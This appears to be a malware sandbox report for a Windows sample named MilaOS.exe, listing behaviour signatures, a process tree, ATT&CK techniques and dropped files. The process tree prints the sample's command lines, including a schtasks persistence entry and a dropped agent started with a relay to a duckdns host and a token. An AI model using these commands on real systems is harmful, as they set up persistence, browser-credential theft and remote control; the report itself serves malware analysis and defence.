Resubmissions
04/11/2026, 23:57
261104-3zyy6agw4j804/11/2026, 23:34
261104-3klehsv1bx804/11/2026, 23:28
261104-3gc9qs1v7m8Analysis
- max time kernel
152s - max time network
162s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
04/11/2026, 23:34
General
- Target MilaOS.exe
- Size 142.9MB
- Sample261104-3klehsv1bx
- SHA256 c75491d5dae45b83722a841fe6bb700a46138a38d11a6c7cb3fcb72d07be80ac
Malware Config
Signatures
- Downloads MZ/PE file 2 IoCs
- Executes dropped EXE 5 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\MilaOS.exe"C:\Users\Admin\AppData\Local\Temp\MilaOS.exe"1⤵
- Downloads MZ/PE file
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /f /tn "MilaAgentGuard" /tr "\"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe\" --run --quiet" /sc minute /mo 12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --install --quiet --relay "relay=wss://puppypilled.duckdns.org:8443/ws" --token "token=token=65ac75f12495eedb30eccae771b9b9136603b22dd6140feddfee0bbe1177e995"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\explorer.exe"explorer.exe" "C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe"C:\Users\Admin\AppData\Local\MilaAgent\qhs_bce47272.exe" --run --quiet1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
agent.json
agent.json
agent.log
agent.log
qhs_bce47272.exe
rename-request
manifest.json
name.txt
name.txt
pfp.png
hub.log
hub.log
hub.log
hub.log
hub.log
hub.json
throne-goal.json
throne-goal.json.sig
memory/1508-51-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-48-0x00000000254D0000-0x00000000259F8000-memory.dmp
memory/1508-110-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-1-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-75-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-52-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-0-0x00007FFE79ABF000-0x00007FFE79AC0000-memory.dmp
memory/1508-49-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-47-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-109-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-44-0x0000000024DD0000-0x0000000024F92000-memory.dmp
memory/1508-43-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-255-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-274-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-275-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-276-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-295-0x00007FFE79930000-0x00007FFE7A2D4000-memory.dmp
memory/1508-2-0x0000000000A70000-0x0000000001A70000-memory.dmp
memory/4264-76-0x0000000000A50000-0x0000000000A78000-memory.dmp